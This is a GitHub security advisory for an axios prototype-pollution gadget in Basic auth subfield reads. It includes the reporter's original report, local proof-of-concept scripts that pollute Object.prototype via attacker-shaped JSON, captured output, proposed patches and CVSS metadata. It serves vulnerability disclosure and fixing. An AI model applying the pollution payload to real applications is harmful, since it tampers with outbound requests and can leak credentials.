GHSA-xj6q-8x83-jv6g
ADVISORY - githubSummary
Summary
Axios versions after the GHSA-q8qp-cvcw-x6jj fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own auth object that omits username or password, axios reads inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound Authorization: Basic ... header.
This does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as auth: opts.auth || {}.
Impact
An attacker who can pollute Object.prototype.username and/or Object.prototype.password can influence the Basic auth header on affected axios requests that pass an empty or partial own auth object.
The practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing Authorization header because axios removes it when auth is used, or cause downstream authorization failures.
This should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.
Affected Functionality
Affected functionality:
- Node HTTP adapter Basic auth handling in
lib/adapters/http.js. - Browser, web worker, React Native, and fetch shared resolver Basic auth handling in
lib/helpers/resolveConfig.js. - Requests where
config.authis an own object butusernameand/orpasswordare absent own properties.
Unaffected or not accepted as core impact:
- Requests with no own
authobject aftermergeConfig(). - Requests with own
auth.usernameandauth.passwordvalues. - Normal axios request flow for inherited top-level
params/paramsSerializerafter the null-prototypemergeConfig()hardening. - Attacker-controlled
paramsSerializerfunctions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary.
Technical Details
mergeConfig() returns a null-prototype top-level config object, which prevents top-level reads such as config.auth from inheriting polluted values. However, nested plain objects returned by utils.merge() still have Object.prototype.
In lib/adapters/http.js, axios correctly reads the top-level auth value through own('auth'), but then reads subfields directly:
const configAuth = own('auth');
if (configAuth) {
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
}
If the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.
The same pattern exists in lib/helpers/resolveConfig.js:
if (auth) {
headers.set(
'Authorization',
'Basic ' +
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
);
}
The fix should guard username and password with utils.hasOwnProp, matching the proxy-auth pattern already used elsewhere.
Proof of Concept of Attack
Safe local PoC against published axios@1.16.1:
const http = require('node:http');
const axios = require('axios');
Object.prototype.username = 'victim-user';
Object.prototype.password = 'victim-password-leaked';
const server = http.createServer((req, res) => {
console.log({
url: req.url,
authorization: req.headers.authorization || null
});
res.end('{}');
server.close(() => {
delete Object.prototype.username;
delete Object.prototype.password;
});
});
server.listen(0, '127.0.0.1', async () => {
await axios.get(`http://127.0.0.1:${server.address().port}/api`, {
auth: {}
});
});
Expected output:
{
"url": "/api",
"authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA=="
}
The base64 value decodes to victim-user:victim-password-leaked.
Workarounds
Avoid passing empty or partial auth objects. Only set auth when the application has own username and password values.
Applications that merge untrusted input should filter __proto__, constructor, and prototype, and should read optional user options with own-property checks rather than opts.auth || {}.
Where a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.
Original ReportSummary
After GHSA-q8qp-cvcw-x6jj / PR #10779 (shipped in v1.15.2) and the further proxy-side hardening in
PR #10833 (merged 2026-05-02), the top-level config.auth and the proxy authsub-fields are correctly read via utils.hasOwnProp. The regular request auth sub-fields (config.auth.username and config.auth.password) and the config.params / config.paramsSerializer reads inside resolveConfig.js are still unguarded against a polluted Object.prototype.
When a polluted host process makes an axios call with the common "optional override" pattern (auth: opts.auth || {} — an empty own {}), the sub-field reads configAuth.username and configAuth.password walk the prototype chain and return the attacker-controlled values. Same for params and paramsSerializer. The outbound HTTP request then carries an attacker-chosen Authorization: Basic <base64> header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains).
Reproduces against axios main HEAD (34723be, dated 2026-05-24)
as well as the released v1.16.1.
Details
Three still-unguarded read sites on main HEAD:
(1) lib/adapters/http.js lines 737–740 (Node http adapter):
const configAuth = own('auth'); // ← top-level guard OK
if (configAuth) {
const username = configAuth.username || ''; // ← reads .username on the inherited chain
const password = configAuth.password || ''; // ← reads .password on the inherited chain
auth = username + ':' + password;
}
own('auth') correctly applies hasOwnProp to the top-level auth
key. But once configAuth is the empty object the caller passed
(auth: {}), configAuth.username walks the prototype chain and
picks up Object.prototype.username.
Contrast with the proxy-auth path that PR #10833 fixed (lines 322–324):
const authUsername =
authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined;
const authPassword =
authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined;
This is the exact pattern needed at lines 739–740 too.
(2) lib/helpers/resolveConfig.js lines 50 + 68 (xhr/fetch adapter shared resolver):
const auth = own('auth'); // ← top-level guard OK
...
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
// ^ .username and .password read directly on `auth`, no hasOwnProp guard
Same shape — top-level guarded, sub-fields walk prototype.
(3) lib/helpers/resolveConfig.js lines 58–59 (params + paramsSerializer):
newConfig.url = buildURL(
buildFullPath(baseURL, url, allowAbsoluteUrls),
config.params, // ← direct read, not through own()
config.paramsSerializer // ← direct read, not through own()
);
This third site is already proposed for fix in open PR #10922 by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's own('params') / own('paramsSerializer') change is exactly correct; this report flags the auth sub-field sites that PR #10922 does not cover.
PoC
This PoC contains zero direct Object.prototype.x = y writes. The
pollution flows entirely from attacker-shaped JSON through a real
deep-merge utility (defaults-deep@0.2.4, ~50k weekly downloads,
still walks constructor.prototype). A hand-rolled deep merge —
the canonical insecure backend pattern — exhibits the same pollution
via __proto__ and is more common in real codebases than any named
utility.
#!/usr/bin/env node
'use strict';
const http = require('node:http');
const axios = require('axios');
const defaultsDeep = require('defaults-deep');
// Defensive: scrub any prior pollution
const PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer'];
function scrub() {
for (const k of PROTO_KEYS) {
try { delete Object.prototype[k]; } catch (_) {}
}
}
scrub();
// 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST
const attackerBody = JSON.parse(`{
"constructor": {
"prototype": {
"username": "victim-user",
"password": "victim-password-leaked",
"params": {"leak": "ATTACKER_QUERY_TOKEN"}
}
}
}`);
// 2) Realistic application pattern: merge user options into defaults
const appDefaults = { timeout: 5000 };
defaultsDeep(appDefaults, attackerBody);
// After this line:
// Object.prototype.username === "victim-user"
// Object.prototype.password === "victim-password-leaked"
// Object.prototype.params === { leak: "ATTACKER_QUERY_TOKEN" }
// 3) Capture outbound request on a local listener
const server = http.createServer((req, res) => {
console.log('=== captured outbound request ===');
console.log(JSON.stringify({
method: req.method,
url: req.url,
authorization: req.headers.authorization || null,
}, null, 2));
res.end('{}');
server.close();
scrub();
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
// 4) Realistic application wrapper: optional per-call overrides.
// `auth: opts.auth || {}` is the common pattern — empty own object,
// but inherited values walk the prototype chain.
function makeRequest(targetUrl, opts = {}) {
return axios.get(targetUrl, {
timeout: 5000,
auth: opts.auth || {},
params: opts.params || {},
});
}
makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) => {
console.error('axios error:', e.message);
scrub();
process.exit(1);
});
});
Reproduction:
mkdir /tmp/axios-poc && cd /tmp/axios-poc
npm init -y
npm install axios@1.16.1 defaults-deep@0.2.4
node /path/to/poc.cjs
Captured output (verified against released 1.16.1 AND against
main at 34723be, 2026-05-24):
{
"method": "GET",
"url": "/api/widget?leak=ATTACKER_QUERY_TOKEN",
"authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA=="
}
dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA== base64-decodes to
victim-user:victim-password-leaked. The querystring carries
?leak=ATTACKER_QUERY_TOKEN, which can be a full data-exfil channel
in real chains (CSRF token, session cookie via req.headers, etc.).
Impact
- Credential exfiltration via Basic auth header on the outbound request. If the request URL is attacker-influenced too (common in webhook/oauth-callback patterns), the credentials flow directly to the attacker. If not, they flow to the legitimate destination but expose victim credentials in any logs / proxies along the path.
- Outbound request-shape control via inherited
params/paramsSerializer. WithparamsSerializerpolluted to an attacker function, axios will execute that function with eachparamsinvocation — same-process code execution from a pollution primitive. - Amplifier framing is still correct. The application-side
precondition is "deep-merges attacker JSON into a config object
without
__proto__/constructorfiltering, then uses the empty- fallback wrapperauth: opts.auth || {}/params: opts.params || {}." Both halves are very common in real codebases (we testeddefaults-deep, hand-rolled merges, and several lodash-family utilities; many still pollute). - CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes — amplifier sink).
Proposed fix
Two-line change in http.js, matching the proxy-auth pattern PR
#10833 already established:
--- a/lib/adapters/http.js
+++ b/lib/adapters/http.js
@@ -737,8 +737,10 @@
const configAuth = own('auth');
if (configAuth) {
- const username = configAuth.username || '';
- const password = configAuth.password || '';
+ const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : '';
+ const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : '';
auth = username + ':' + password;
}
Same pattern in resolveConfig.js:
--- a/lib/helpers/resolveConfig.js
+++ b/lib/helpers/resolveConfig.js
@@ -64,7 +64,11 @@
// HTTP basic authentication
if (auth) {
+ const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : '';
+ const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : '';
headers.set(
'Authorization',
'Basic ' +
- btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
+ btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : ''))
);
}
The params / paramsSerializer half is already handled by open
PR #10922's own('params') / own('paramsSerializer') change — that
PR should be rebased / merged.
Relationship to recent prototype-pollution work
Same vulnerability class as the existing public hardening, just at sub-field granularity:
- GHSA-q8qp-cvcw-x6jj / PR #10779 —
mergeConfigdirect-key reads. Fixed in v1.15.2. - PR #10761 —
mergeDirectKeysin→hasOwnProp. Fixed in v1.15.x. - PR #10833 — proxy
auth.username/passwordsub-fields. Fixed post-1.16.1. - PR #7413 —
formDataToJSONdefense-in-depth. Fixed post-1.16.1. - PR #10901 —
socketPathguard. Merged 2026-05-24. - PR #10922 (OPEN) —
params/paramsSerializerown()guard. Proposed; not merged.
This report adds: regular-request auth.username / auth.password
sub-field reads in both the http adapter (lines 737–740) and
resolveConfig.js (line 68).
Reporter notes
- Reported as part of a small peer-review bundle of runtime security
findings. The bundle's public tracking entry (without the working
exploit chain) is at
georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md. - I'm happy to submit the patch as a PR if that helps. Or, if you'd prefer to fold this into open PR #10922 (whose author is actively responding to comments), please let me know and I'll coordinate.
- Threat model honesty: this is amplifier framing — exploitation requires a separate prototype-pollution primitive elsewhere in the host process. That's how the existing GHSA-q8qp-cvcw-x6jj and PR #10833 were framed too, so the precedent for "in-scope as a hardening fix" is established.
Common Weakness Enumeration (CWE)
Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
GitHub
-
CVSS SCORE
6.3medium| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| axios | npm | - | - | >=1.15.2,<1.18.0 | 1.18.0 |
CVSS:4 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges.
There is no loss of confidentiality within the Vulnerable System.
There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact to the Vulnerable System.
There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the Vulnerable System are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the Vulnerable System.
There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.